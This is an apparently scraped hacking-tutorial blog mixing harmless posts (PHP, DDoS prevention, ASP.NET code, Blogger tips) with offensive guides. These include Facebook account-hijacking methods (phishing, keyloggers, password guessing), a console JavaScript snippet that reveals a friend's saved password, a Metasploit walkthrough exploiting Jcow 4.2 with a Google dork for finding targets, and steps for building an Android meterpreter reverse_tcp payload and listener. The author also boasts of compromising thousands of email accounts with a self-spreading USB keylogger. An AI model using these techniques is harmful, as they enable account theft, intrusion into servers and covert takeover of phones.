Online Hacking Tutorials by Ankit Fadia

Introduction to PHP

2017-09-10T03:19:00.001-07:00

PHP started out as a small open source project that evolved as more and more people found out how useful it was. Rasmus Lerdorf unleashed the first version of PHP way back in 1994.  PHP is a recursive acronym for "PHP: Hypertext Preprocessor".  PHP is a server side scripting language that is embedded in HTML. It is used to manage dynamic content, databases, session tracking, even build entire ecommerce sites.  It is integrated with a number of popular databases, including MySQL, PostgreSQL, Oracle, Sybase, Informix, and Microsoft SQL Server.  PHP is pleasingly zippy in its execution, especially when compiled as an Apache module on the Unix side. The MySQL server, once started, executes even very complex queries with huge result sets in record-setting time.  PHP supports a large number of major protocols such as POP3, IMAP, and LDAP. PHP4 added support for Java and distributed object architectures (COM and CORBA), making n-tier development a possibility for the first time.  PHP is forgiving: PHP language tries to be as forgiving as possible.  PHP Syntax is C-Like.

Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

3 Basic Tips to Prevent A DDoS Attack

2014-06-03T21:34:00.001-07:00

Distributed denial-of-service (DDoS) attacks are always in top headlines worldwide, as they are plaguing websites in banks, and virtually of almost every organization having a prominent online presence. The main cause behind the proliferation of DDoS attacks is that there is a very low-cost that the attacker has to incur to put such attack in motion. Fortunately, today various prevention methods have been developed to tackle such attacks. Before delving further into understanding about the ways to prevent DDoS attack, let’s first understand what exactly a DDoS attack is!

Understanding DDOS Attack

A DDoS (distributed denial-of-service) attack is an attempt made by attackers to make computers’ resources inaccessible to its anticipated user. In order to carry out a DDOS attack the attackers never uses their own system; rather they create a network of zombie computers often called as a “Botnet” – that is a hive of computers, to incapacitate a website or a web server.

Let’s understand the basic idea! Now, the attacker notifies all the computers present on the botnet to keep in touch with a particular site or a web server, time and again. This increases traffic on the network that causes in slowing down the speed of a site for the intended users. Unfortunately, at times the traffic can be really high that could even lead to shutting a site completely.

3 Basic Tips to Prevent a DDoS Attack

There are several ways to prevent the DDOS attack; however, here in this guest post I’ll be covering three basic tips that will help you to protect your website from the DDoS attack.

1. Buy More Bandwidth.

One of the easiest methods is to ensure that you have sufficient bandwidth on your web. You’ll be able to tackle lots of low-scale DDOS attacks simply by buying more bandwidth so as to service the requests. How does it help? Well, distributed denial of service is a nothing more than a game of capacity. Let’s suppose you have 10,000 computer systems each distributing 1 Mbps directed towards your way. This means you’re getting 10 GB of data that is hitting your web server every second. Now, that’s causes a lot of traffic!

So to avoid such issue, you need to apply the same rule intended for normal redundancy. According to this technique, if you wish to have more web servers just multiply around diverse datacenters and next make use of load balancing. By spreading your traffic to various servers will help you balance the load and will most likely create large space adequate to handle the incessant increase in traffic.

However, there’s a problem with this method that is buying more bandwidth can be a costly affair. And as you’ll know that the current DDoS attacks are getting large, and can be a lot bigger exceeding your budget limit.

2. Opt for DDoS Mitigation Services.

A lot of network or Internet-service providers render DDoS mitigation capabilities. Look for an internet service provider having the largest DDoS protection and mitigation network, automated tools, and a pool of talented anti-DDoS technicians with the wherewithal to take action in real-time as per the varying DDoS attack characteristics. A viable alternative is to utilize a DDoS prevention appliance, which is specifically intended to discover and prevent distributed denial-of-service attacks.

3. Restricted Connectivity.

In case you have computer systems that are connected to the web directly, a better idea is to properly install/configure your routers and firewall so as to limit the connectivity. For an instance, while receiving some data from a client machine you can only allow traffic to pass from the machine only on a few chosen ports (like HTTP, POP, SMTP etc.) via the firewall.

Wrapping Up!

Websites are largely getting attacked by hackers every second. Denial-of-service attack is insanely getting huge and is creating a lot of problems for business organizations having strong online vicinity. In this guest post you’ll not only understand what a DDoS attack actually means, but will also come to know about a few type of methods to prevent DDoS attacks. Aforementioned are three tips that I’ll recommend you to run through to at least understand where to get started towards building a resilient web network with chances of surviving a DDoS attack.

4 ways to Hack Facebook account password

2014-06-03T21:30:00.003-07:00

Hi friends, I have already posted two posts on How to hack Facebook account password, first using the Keyloggers and other is using Phishing. Today I am going to reveal all the methods that can be used to hack a Facebook account password.

Today I will cover all 4 ways to Hack Facebook Account Password that all hackers usually use to hack your Facebook account.

1. Facebook Phishing Attack

2. Hacking Facebook account password remotely using Keyloggers and RAT's

3. By hacking the primary email address that user has used for creating Facebook account.

4. Social Engineering or simply Guessing your friends Password.

Facebook Phishing Attack:

I am explaining this method first because its the most easiest and also the most popular method for hacking Facebook password. You can also search on Google the various famous Facebook hacking methods and you will find Phishing technique on the top always. And I am explaining the methods according to their popularity.

Now you want to know which is my favorite method for Hacking Facebook account passwords and i will undoubtedly tell its simply PHISHING.

I will recommend my users to read this post for knowing how to hack Facebook using Phishing as i have explained it in detail here:

If you want latest Facebook phisher then subscribe my Hacking tricks and mail me privately or post your email below in comments. I will provide you within a day, Now why i am not providing it directly, if i provide directly then Facebook will block it again like the previous one.

Hacking Facebook account password remotely using Keyloggers and RAT's

Aaw... Best method for advanced Hackers. And my second favorite too. Its popularity is little but lower than Phishing only because it involves you to download hack tool and then create your keylogger and send it to victim which is a lengthy process and also unsecured too as you don't aware that the keylogger that you downloading is himself contain some spyware or simply a keylogger attached with it. Keylogging becomes more easy if you have physical access to victim computer as only thing you have to do is install a keylogger and direct it to your destination so that it will send all recorded keystrokes to pointed destination. What a keylogger does is it records the keystrokes into a log file and then you can use these logs to get required Facebook password and thus can hack Facebook password.

I have written a complete article on How to hack Facebook accounts remotely using Keyloggers, so i will recommend you to go through that if you want to learn this technique in detail, so read this article:

Now if you need latest Fully Undetectable Keylogger, then subscribe my hacking tricks and mail me privately or post ur email ID below in comments on which you want to get the download link.

Hacking the Primary Email address

If Facebook hacker or any specific Keylogger, by some means, hacks your primary Gmail or yahoo account which you are using as primary email address, then this information account can easily hack your Facebook password using "Forgot password" trick. The Hacker will simply ask Facebook to send password to the primary email address and ask Facebook administrators to send the reset email to your primary email address- which is already hacked. Thus, your Facebook account password will be reset and it will also be hacked !

So, always remember to protect your primary email address that you have used to create Facebook account and try to keep unknown or useless mail id as your primary email address in Facebook.

Social Engineering or Guessing Passwords

This method sounds to be pretty not working at beginning. Even I was neglecting this way for a long time . But, once, I thought of using it against my friend on Facebook and amazingly what happened that i guessed his Facebook password very easily by this method. I think many of you might be knowing how what this social engineering, For novice hackers, Social engineering is method of retrieving password or Guessing the password or answer of security question simply be hacking some information about the victim or simply gathering his information from his own Facebook and other social networking profiles where most of users provide their critical information just for fashion and doesn't know its consequences. You have to be very careful while using this as victim must not be aware of your intention. Just ask him cautiously using your logic.

Some Common passwords that you can try on your friends are :

1. Their mobile number or their girlfriend or boyfriend mobile number. (always try his previous or old mobile number as they are not as much as fool that they appears)

2. Their Girlfriend or boyfriend names or their own names concatenating with their Girlfriend or boyfriend names.

3. Date of births

4. Their favorite movie names , cartoon character names or favorite music band names or simply the hero names like batman,dark knight, Superman,Godzilla, Spartacus and much more..

5. Most important now most website ask that password should be alphanumeric now what users do they just adds 1,2,3 in their normal passwords and some more smart guys adds !,@,# in their passwords and amazingly all in Sequence.

Note the above common passwords are not from any internet resource, its by my own case study that i have come to conclusion after hacking 19,788 emails accounts. I know now you want to know how i hacked so much accounts. As i have already mentioned for advanced hackers second option is best and the only thing that i did was just made my Keylogger USB and pendrive spreadable. Who ever used the infected USB drive also got infected and this procedure goes so on. And last what happened my 10Gb free storage was filled and i don't have enough time to clean it regularly.

How to Remove a Virus Using Command Prompt

2014-06-03T21:27:00.000-07:00

Dear readers today I am going to tell you How to Remove a Virus Using Command Prompt
Virus is a computer program that can copy itself and infect your computer. These viruses can spread via USB/flash drive or from one computer to other computer by few written codes. There are many antivirus software available to remove viruses from computer. But there are some viruses or suspicious files which can’t be removed by any antivirus software. Some suspicious files such as autorun.inf initiate all the viruses in pc. These files must be removed for safe operation of your pc, because they may lead to data loss, software damages etc. Such viruses and files can be removed by using cmd. In this article we will discuss how to remove a virus using command prompt. Following steps can be used to remove a virus using command prompt from your computer.

Go to start menu and type “cmd” in the search box or Start>all programs>accessories>command prompt.

Open the infected drive such as write , g: to go to G drive.
Now type dir/w/a . It will show all the files of the drive including hidden files.

Locate AUTORUN.INF or any Virus and other suspicious files in the directory.

there was no virus in my drive so only autorun.inf is been highlighted.

Type command attrib -r –a –s –h to remove attributes of corresponding file.

Type del autorun.inf to delete autorun.inf file.

Now type del virus name.exe t delete it, eg : del newfolder.exe .

(You can also delete viruses by using following steps:

When you find an Autorun.inf file or any other unusual .exe file just rename it.

Syntax for rename is (rename filename.extension new name , for example: (rename autorun.inf virus) to rename autorun.inf file. Here I have renamed it by “virus”.

Now you can access the defected drive without affecting the virus.
To delete the renamed file go to the defected drive and select the file you renamed.

Now delete the harmful renamed files.)

You have deleted that virus successfully but sometimes virus resides in the Recycler folder.To locate this folder:

Type cd recycler command.

Again type dir/w/a to locate all file of the folder.
Identify malicious files and delete them using above commands.

Follow the above steps carefully and i think this information is enough to remove a virus using command prompt easily.

Important: Make sure that no other processes being running while performing these actions. Best of luck.

Hack Facebook Online 100% Working

2014-06-03T21:24:00.001-07:00

Besthacking.in Launchned New Facebook Hacking Website Hack Facebook Account Online and more social networking hacking tricks Check Now Our New Website

Hack Facebook Online>> Click Here

- See more at: http://www.besthacking.in/2014/03/hack-facebook-online.html#sthash.vD8cAbjp.dpuf

Besthacking.in Launchned New Facebook Hacking Website Hack Facebook Account Online and more social networking hacking tricks Check Now Our New Website

Hack Facebook Online>> Click Here

- See more at: http://www.besthacking.in/2014/03/hack-facebook-online.html#sthash.vD8cAbjp.dpuf

Launchned New Facebook Hacking Website Hack Facebook Account Online and more social networking hacking tricks Check Now Our New Website

Hack Facebook Online>> Click Here

Besthacking.in Launchned New Facebook Hacking Website Hack Facebook Account Online and more social networking hacking tricks Check Now Our New Website

Hack Facebook Online>> Click Here

- See more at: http://www.besthacking.in/2014/03/hack-facebook-online.html#sthash.vD8cAbjp.dpuf

Dotnet: asp.net Datalist insert update delete example

2014-04-24T08:17:00.001-07:00

I want to show you how to use datalist for CRUD operation in asp.net.

I created one table 'customer' with CustomerID(Primary Key) and CustomerName as two fields in database.

Following is the HTML source

-------------------------------

<h2>Datalist Example Application:</h2>

<asp:DataList ID="DataList1" runat="server" CellPadding="4"

onitemcommand="DataList1_ItemCommand"

oncancelcommand="DataList1_CancelCommand" oneditcommand="DataList1_EditCommand"

onupdatecommand="DataList1_UpdateCommand"

ondeletecommand="DataList1_DeleteCommand" ForeColor="#333333">

<FooterStyle BackColor="#1C5E55" ForeColor="White" Font-Bold="True" />

<HeaderStyle BackColor="#1C5E55" Font-Bold="True" ForeColor="White" />

<ItemStyle BackColor="#E3EAEB" />

<ItemTemplate>

<table border="0" cellpadding="0" cellspacing="0">

<tr>

<th>Customer ID:</th>

<td><asp:Label ID="lblCustNo" runat="server"
Text='<%#Bind("CustomerID") %>'></asp:Label></td>

</tr>

<tr>

<th>Customer Name:</th>

<td><asp:Label ID="lblCustName" runat="server"
Text='<%#Bind("CustomerName") %>'></asp:Label></td>

</tr>

<tr><td><asp:Image ID="Image1" Height="20px"
Width="20px" ImageUrl="~/Images/edit-icon.png" runat="server" />

<asp:Button ID="btnEdit" runat="server" Text="Edit"
CommandName="Edit" OnClientClick="return confirm('Are you sure you want
to Edit this record?');" /></td>

<td>

<asp:Image ID="Image2" Height="20px" Width="20px" ImageUrl="~/Images/delete.png" runat="server" />

<asp:Button ID="btnDelete" runat="server" Text="Delete"
CommandName="Delete" OnClientClick="return confirm('Are you sure you
want to delete this record?');" /></td>

</tr>

</table>

</ItemTemplate>

<FooterTemplate>

<table border="0" cellpadding="0" cellspacing="0">

<tr>

<th>Customer ID:</th>

<th>Customer Name:</th>

</tr>

<tr>

<td><asp:TextBox ID="txtCustNo" runat="server"
Text='<%#Bind("CustomerID") %>'></asp:TextBox></td>

<td><asp:TextBox ID="txtCustName" runat="server"
Text='<%#Bind("CustomerName")
%>'></asp:TextBox></td>

<td>

<asp:Image ID="Image1" Height="20px" Width="20px" ImageUrl="~/Images/add.png" runat="server" />

<asp:Button ID="btnInsert" runat="server" Text="Add New Customer" CommandName="Insert" /></td>

</tr>

</table>

</FooterTemplate>

<AlternatingItemStyle BackColor="White" />

<EditItemTemplate>

<table border="0" cellpadding="0" cellspacing="0">

<tr>

<td>Customer ID:</td>

<td><asp:TextBox ID="etxtCustNo" runat="server"
Text='<%#Bind("CustomerID") %>'></asp:TextBox></td>

<//tr>

<tr>

<td>Customer Name:</td>

<td><asp:TextBox ID="etxtCustName" runat="server"
Text='<%#Bind("CustomerName")
%>'></asp:TextBox></td>

<//tr>

<tr>

<td><asp:Button ID="btnUpdate" runat="server" Text="Update" CommandName="Update" /></td>

<td><asp:Button ID="btnCancel" runat="server" Text="Cancel" CommandName="Cancel" /></td>

</tr>

</EditItemTemplate>

<SelectedItemStyle BackColor="#C5BBAF" Font-Bold="True" ForeColor="#333333" />

</asp:DataList>

---------------------------------

Now on code behind please write following code:

public partial class WebForm1 : System.Web.UI.Page

{

protected void Page_Load(object sender, EventArgs e)

{

if (!Page.IsPostBack)

{

Bind();

}

}

private void Bind()

{

string connectionString = ConfigurationManager.ConnectionStrings["mystring"].ConnectionString;

SqlConnection conn = new SqlConnection(connectionString);

SqlDataAdapter ad = new SqlDataAdapter("select * from Emp", conn);

DataSet ds = new DataSet();

conn.Open();

ad.Fill(ds);

conn.Close();

DataList1.DataSource = ds.Tables[0];

DataList1.DataBind();

}

protected void DataList1_ItemCommand(object source, DataListCommandEventArgs e)

{

string connectionString = ConfigurationManager.ConnectionStrings["mystring"].ConnectionString;

if (e.CommandName.Equals("Insert"))

{

TextBox txtCustNo = (TextBox)e.Item.FindControl("txtCustNo");

TextBox txtCustName = (TextBox)e.Item.FindControl("txtCustName");

SqlConnection conn = new SqlConnection(connectionString);

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Insert into Emp(CustomerID,CustomerName) values(@1,@2)";

cmd.Parameters.AddWithValue("@1", txtCustNo.Text);

cmd.Parameters.AddWithValue("@2", txtCustName.Text);

conn.Open();

cmd.ExecuteNonQuery();

ClientScript.RegisterStartupScript(GetType(), "ShowAlert", "alert('Record Added Succesfully');", true);

conn.Close();

Bind();

}

}

protected void DataList1_EditCommand(object source, DataListCommandEventArgs e)

{

DataList1.EditItemIndex = e.Item.ItemIndex;

Bind();

}

protected void DataList1_CancelCommand(object source, DataListCommandEventArgs e)

{

DataList1.EditItemIndex = -1;

Bind();

}

protected void DataList1_UpdateCommand(object source, DataListCommandEventArgs e)

{

string connectionString = ConfigurationManager.ConnectionStrings["mystring"].ConnectionString;

if (e.CommandName.Equals("Update"))

{

TextBox txtCustNo = (TextBox)e.Item.FindControl("etxtCustNo");

TextBox txtCustName = (TextBox)e.Item.FindControl("etxtCustName");

SqlConnection conn = new SqlConnection(connectionString);

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Update Emp set CustomerName=@1 where CustomerID=@2";

if (txtCustName != null)

cmd.Parameters.Add("@1", SqlDbType.VarChar, 50).Value = txtCustName.Text;

if (txtCustNo != null)

cmd.Parameters.Add("@2", SqlDbType.Int, 20).Value = txtCustNo.Text;

conn.Open();

cmd.ExecuteNonQuery();

DataList1.EditItemIndex = -1;

ClientScript.RegisterStartupScript(GetType(), "ShowAlert", "alert('Record Updated Succesfully');", true);

conn.Close();

Bind();

}

}

protected void DataList1_DeleteCommand(object source, DataListCommandEventArgs e)

{

string connectionString = ConfigurationManager.ConnectionStrings["mystring"].ConnectionString;

if (e.CommandName.Equals("Delete"))

{

Label txtCustNo = (Label)e.Item.FindControl("lblCustNo");

Label txtCustName = (Label)e.Item.FindControl("lblCustName");

SqlConnection conn = new SqlConnection(connectionString);

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Delete from Emp where CustomerID=@1";

if(txtCustNo!=null)

cmd.Parameters.Add("@1", SqlDbType.Int, 20).Value = txtCustNo.Text;

conn.Open();

cmd.ExecuteNonQuery();

ClientScript.RegisterStartupScript(GetType(), "ShowAlert", "alert('Record Deleted Succesfully');", true);

conn.Close();

Bind();

}

}

}

Run it now by Pressing F5.

PS-Drive Android Application

2014-04-20T09:45:00.001-07:00

Click Here to Download PSDrive Android App

Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

2014-04-17T08:29:00.005-07:00

Level : Medium
Victim Server : Windows XP SP3
Victim vulnerable application : JCow 4.2
Attacker O.S : Backtrack 5 R1
After very long times I didn't write about hacking webserver, today "again" when surfing around I've found that Jcow Social netwoking engine can be exploited and the exploit ranking marked as "excellent".
So actually what happen when you have this Jcow vulnerable version??The simple thing is the attacker can go through your web server directory and doing everything there. For example if you hosting your Jcow vulnerable version(on unsecure hosting also ) you can own your web server directory.
In this example, let's say I have a Jcow vulnerable web server in IP address 192.168.8.94. Actually it's better to try installing your own web server, but if you want to find out Jcow in the wild you can search through Google dork "intext:Powered by Jcow 4.2.0" and register as normal user there. In this tutorial I have already register as username : victim and password also victim
Okay I hope you understand what I say above to make it more realistic, let's try the tutorial…

Requirement :

1. Metasploit framework
2. Jcow.rb exploit
mediafire.com

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution :

1. Copy the downloaded jcow.rb exploit from the download link above and copy it into /pentest/exploits/framework/modules/exploits/remote/ folder(see the command below).

cp jcow.rb /pentest/exploits/framework/modules/exploits/remote/

the text "framework" with blue color it's because I'm using Backtrack 5 R1 and using metasploit v4.0.1, so the name was depends on your Metasploit version, maybe on your computer it can be "framework3" or "framework2" so on..
If you didn't know how to copy that jcow.rb file into your Backtrack, please refer to this tutorial about Linux folder sharing(click here).
2. Open your Metasploit console and then use the exploit you just added before.

msf > use exploit/remote/jcow

3. The next step we need to view the available switch for this exploit by running show options command, and then configured it(see the box with red color).

msf  exploit(jcow) > set rhost 192.168.8.94 --> set the target IP
rhost => 192.168.8.94
msf  exploit(jcow) > set username victim --> set the username
username => victim
msf  exploit(jcow) > set password victim --> set the password
password => victim
msf  exploit(jcow) > set uri jcow --> only if jcow not in / directory fill it here
uri => jcow

Information :
Set uri can be used if jcow was not installed on webserver main directory, for example http://web-server.com/jcow.
4. After everything was set up successfully, the next thing to do was exploiting or running the exploit by using exploit command.
Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

Hacking Android Smartphone Tutorial using Metasploit

2014-04-17T08:24:00.000-07:00

Nowadays mobile users are increasing day by day, the security threat is also increasing together with the growth of its users. Our tutorial for today is how to Hacking Android Smartphone Tutorial using Metasploit. Why we choose android phone for this tutorial? simply because lately android phone growing very fast worldwide. Here in China you can get android phone for only US$ 30 it's one of the reason why android growing fast. - See more at: http://www.hacking-tutorial.com/hacking-tutorial/hacking-android-smartphone-tutorial-using-metasploit/#sthash.cAfknmPn.dpuf

Android is an operating system based on the Linux kernel, and designed primarily for touchscreen mobile devices such as smartphones and tablet computers. Initially developed by Android, Inc., which Google backed financially and later bought in 2005, Android was unveiled in 2007 along with the founding of the Open Handset Alliance: a consortium of hardware, software, and telecommunication companies devoted to advancing open standards for mobile devices.

and what is APK? according to wikipedia:

Android application package file (APK) is the file format used to distribute and install application software and middleware onto Google's Android operating system; very similar to an MSI package in Windows or a Deb package in Debian-based operating systems like Ubuntu.

Here is some initial information for this tutorial:
Attacker IP address: 192.168.8.94
Attacker port to receive connection: 443
Requirements:
1. Metasploit framework (we use Kali Linux 1.0.6 in this tutorial)
2. Android smartphone (we use HTC One android 4.4 KitKat)

Step by Step Hacking Android Smartphone Tutorial using Metasploit:

1. Open terminal (CTRL + ALT + T) view tutorial how to create linux keyboard shortcut.
2. We will utilize Metasploit payload framework to create exploit for this tutorial.

msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address> LPORT=<port_to_receive_connection>

As described above that attacker IP address is 192.168.8.94, below is our screenshot when executed the command

3. Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker machine, attacker needs to set up the handler to handle incoming connections to the port already specified above. Type msfconsole to go to Metasploit console.

Info:

use exploit/multi/handler –> we will use Metasploit handler
set payload android/meterpreter/reverse_tcp –> make sure the payload is the same with step 2

4. The next step we need to configure the switch for the Metasploit payload we already specified in step 3.

Info:

set lhost 192.168.8.94 –> attacker IP address
set lport 443 –> port to listen the reverse connection
exploit –> start to listen incoming connection

5. Attacker already have the APK's file and now he will start distribute it (I don't need to describe how to distribute this file, internet is the good place for distribution ).
6. Short stories the victim (me myself) download the malicious APK's file and install it. After victim open the application, attacker Metasploit console get something like this:

7. It's mean that attacker already inside the victim android smartphone and he can do everything with victim phone.

See the video below if you are not clear about the step by step Hacking Android Smartphone Tutorial using Metasploit above:

Yahoo mail Top Tips, Tricks and Hacks

2014-04-12T23:47:00.000-07:00

If you have been using Yahoo Mail and find yourself looking for some Tips and Tricks then Here is a collection of tips, tricks and Hacks for Yahoo Mail : Check out the latest episode of Upgrade Your Life on Yahoo! and manage your e-mails with latest Easter Eggs.

Yahoo! Tips Tricks and Hacks:

Trick:

Instant Address Book Add

Trick:

Navigate your inbox the quick way

Easter Egg:

When composing a message just hit the Subject:

Hack:

Organize Your inbox via Message Finder

Tip:

Select Multiple Messages

Tip:

Read Messages Now

Tip:

Hide/Show Viewing Pane

Tip:

Quick Compose

Trick:

Find Text within your message

Trick:

Scroll through folder without reading

Tip:

Send Message Now

That's it! There are quite a few more shortcuts document in the help section but these are the one's I've found most valuable. Leave a comment and share your Yahoo Mail tips.

Create Multiple Accounts using same Email ID

2014-04-12T23:28:00.001-07:00

GMAIL

Gmail is a free, advertising-supported email service provided by Google. Users may access Gmail as secure webmail, as well as via POP3 or IMAP4 protocols. Gmail initially started as an invitation-only beta release on April 1, 2004 and it became available to the general public on February 7, 2007, though still in beta status at that time. The service was upgraded from beta status on July 7, 2009, along with the rest of the Google Apps suite.

With an initial storage capacity offer of 1 GB per user, Gmail significantly increased the webmail standard for free storage from the 2 to 4 MB its competitors such as Hotmail offered at that time. Individual Gmail messages, including attachments, may be up to 25 MB,. Gmail has a search-oriented interface and a "conversation view" similar to an Internet forum. Gmail is noted by web developers for its pioneering use of Ajax. Gmail runs on Google GFE/2.0 on Linux. As of June 2012, it is the most widely used web-based email provider with over 425 million active users worldwide.

Amazing gmail secret trick

Do you know ?
You can create multiple user accounts (IDs) on websites with a single gmail id. The trick is to use only one Gmail account or gmail id and create many different accounts.

At-least every website don't allow you to create more then one account associated with same email id. It would be much of a chaotic situation, in case this was possible for every website.

Creating multiple accounts with Gmail is possible for a single website.

How to create many accounts on a websites with single email id?

Its possible because gmail account does not count dot(.) in email addresses.

Example : xyz@gmail. com and x.yz@gmail.com both are same email address.

This simply means if you send email to x.yz@gmail.com then it will go to xyz@gmail.com. So if you already have your account on a website with xyz@gmail.com you can create an account by registering with x.yz@gmail.com

Similarly, you can imagine how many accounts you would be able to create on same website using a single email id, that too of gmail.

Note : 90% websites including twitter will allow you to signup with your single gmail id. But Facebook is listed in the other 10% of websites. It won't allow this even if you use dot.

Hope you enjoyed the trick .
Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

Facebook Password Hack | Hack IT NOW

2014-04-12T23:26:00.001-07:00

Facebook Password Hack

Many of you guys asked me to post any easy prank to hack facebook password which doesn't require any phishing, key logger or any other difficult method. So here I go with this amazing trick for you all guys to hack any facebook password.

This facebook hack trick will only work when the user has not logged in and is using chrome.

Related : Add all facebook friends to a group in one click

Like us on Facebook for more such updates

Just follow these simple steps mentioned below to know the password of your facebook friend:-

Note : This prank works only when your facebook friends entered their username and password and their password is visible to you only as asterisk while they are using Google Chrome browser .

Step 1 : Open Google Chrome tab where your friends have entered their username and password but password is visible only as asterisk (******) .

Step 2 : Now open console window by just pressing CTRL + SHIFT + J .

Step 3 : Copy the given code by selecting the given code and pressing CTRL + C

javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Password found ', s)}else{alert('Password is blank')}return true;}}

Step 4 : Press Enter and you are done . The original password would be displayed as shown in the screen - shot below .

Facebook Password Revealed +Maven Scientists

Enjoy ! Hope you enjoyed the trick .

Ankit Fadia Hacking Tricks | PDF Free EBOOK DOWNLOAD

2014-04-12T23:22:00.000-07:00

Ankit Fadia Hacking Tricks | Free Ebook Download

Ankit Fadia Hacking Tricks PDF Free Download

Assessing Server Security - State of the Art. The talk takes into consideration the progress that has been made in web server security over the last few years, and the progress that has been made in attacking web servers over the same time. The paper visits the new vulnerabilities introduced by web applications and discuss the thinking applied to discover such vulnerabilities. It finally describes the state of the art of web server scanning technology. Ankit Fadia Hacking Tricks PDF Free Download

See More Links that might interest you.

Ankit Fadia Resume

Ankit Fadia Biography

Ankit Fadia Hacking Ebook Collection

Download

Free Online Tools to Check your Blog For Malware Scripts

2014-04-12T01:50:00.002-07:00

Malware is a malicious piece of code that messes up with the functionalities of your website or blogs and once it gained access to them they can collect sensitive information from your websites. When we add third-party widgets or plugins to our blogs we don’t know about what sort of scripts are placed in there or when we go for a free template for our blogs then also we don’t know what’s placed in there. As prevention, we can check our blog for malware after applying templates or widgets to make sure our blogs are free from malware. In this article we will tell you free online tools to check your blog for malware scripts.

These days bloggers is its self-monitoring blogs for malware scripts and if any found they will add a warning message of malware each time user sees your blog and also shoot you email in webmaster tools. This will bear upon your reputation among your readers and they might be uncomfortable in seeing your blog again in a fear of malware. So it is better that you ascertain out your blog for malware and try to resolve before blogger checks it.

Free Online Tools to Check your Blog For Malware Scripts

Sucuri.net

Sucuri provides free online check for malware scripts placed on your blogs and list out basic information about the check. You can use its paid version for in-depth analysis and it is run round the clock. Block suspicious activities, notifying you if something is going wrong on your blog. Works all the time for you even when you are catching some Z's.

Visit http://sitecheck2.sucuri.net/ and insert your blog URL in Scan website text box, then press Scan Website button to initiate the procedure.

Virustotal

Virustotal is the product of Google, it is actually a free service which analyzes your blogs for suspicious files and URLS. It also detects viruses, Trojans, worms and of course all types of malware. You can bank on this service as it is provided by Google.

Visit virustotal.com and Select the URL tab and insert your blog URL in the text box, then press scan it button rest will be done by Virustotal.

Do check your blogs with these free online malware check tools and keep your blog safe from malware and other harmful scripts. Do share you thought with us about this article in comments.

Make Your Blogger Blog Private or Give Access to Specific users

2014-04-12T01:46:00.005-07:00

There could be various reasons for which a blogger would like to make his/ her blog private or give access to specific people. Some are coming into my mind which I am sharing with you is we create widgets for our blogs or to share with other people through our blogs and we normally create a separate blog for testing purpose. These cases of blogs are to be meant for public users they are for developers or webmasters of that blog. So today the topic which I am covering on my blog is make your blogger blog private or give access to specific users.

Make Your Blogger Blog Private or Give Access to Specific users

By default your blog is set to be viewed as public. Which means anyone on the internet can view your blog. Stick with the below steps carefully.

Login to your blogger blog and go to settings >> Basic settings >> Blog Readers and click on edit see below video for reference.

Make your Blog private

Once you have clicked edit, select Private –only blog readers radio button and click on save changes this will make your blogger blog private and only visible to blog admin and authors. See below pictorial representation to obtain the clean depiction.

Give Access to Specific users

To give access to specific users to your blog select private –Only these readers’ option and click on +Add readers link this will open text area. In this text area, enter email address of those who you would like to give access to your blog, see below image to get a clear idea. Remember they will have to login before they can see your web log.

I hope this effort of ours will help you in making your blogger blog private or giving access to specific users. This is the guest post written by Priyank Jain of easyearningmethods

Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

How to Receive Comment Notifications Via email in Blogger

2014-04-12T01:44:00.000-07:00

Are you running a blogger blog and want to receive comments notifications when some when comment on your blogger blog then you have chosen a correct article to learn. Here we are giving a solution for it in this article we will tell step by step procedure to receive comment notifications via email in blogger.

How to Receive Comment Notifications Via email in Blogger

Step 1

Sign inn to your blogger dashboard. If you have multiple blogger blogs in your account select the one on you would like to enable comment notifications.

Step 2

Once you have selected blog, go to Settings >> Mobile and email. Then go to Comment Notification email text box and enter emails address on which you would like to receive comment notifications.

You can enter up to ten email address in this text-box separated by commas (,).

Step 3

After you have entered your email in this text box press save settings button to complete the process. Now any one will comment on your posts you will receive comment notifications in your entered email.

If you have set Gmail address in comment notification section, you will receive comments in the social section of your Gmail account.

I hope now through this article you have learned how to receive comment notifications via email in blogger. Check our post on disabling comment from blogger blog if you want to remove comments from your blogs. Do write to us in comments section about these articles.

Top 5 SEO Skills

2014-04-12T01:35:00.000-07:00

The basics and fundamentals of SEO change periodically over the years. These ever-changing circumstances lead most of us to learn some new things every year - and let of some things old. You see, there are new SEO skills needed each year (or every so often) to keep up with the change and keep surviving. 2014 is no exception. A lot has changed since last year, and there's a lot of new stuff to be learned.

Here are some top SEO skills one should learn in order to be successful in 2014.

1. Public Relations

This era is all about public relations! They've always been an integral part of any successful marketing campaign, but are now more important than ever. Today's customer is harder than ever to get.

Public relations can be used to build strong powerful links - links that don’t trigger penalties such as Penguin. Understanding how to pitch a story to news outlets, get them to run the story, and then link back to your site, will be one of the most powerful link building tactics now and in the future.

2. Research

Whether it’s keyword research or content development; research is becoming an increasingly important step with SEO. Not to say that it wasn't before, but is now more so than ever. The Google Hummingbird update has now forced (or is trying to force) webmasters to develop an understanding of user intent, i.e. how users search on Google. This goes a lot deeper than regular keyword research. SEOs need to now understand what types of questions users are asking, not just what words are relevant to the page, since the Hummingbird now entertains 'conversational' search queries as compared to simple keywords.

3. Taxonomy Design

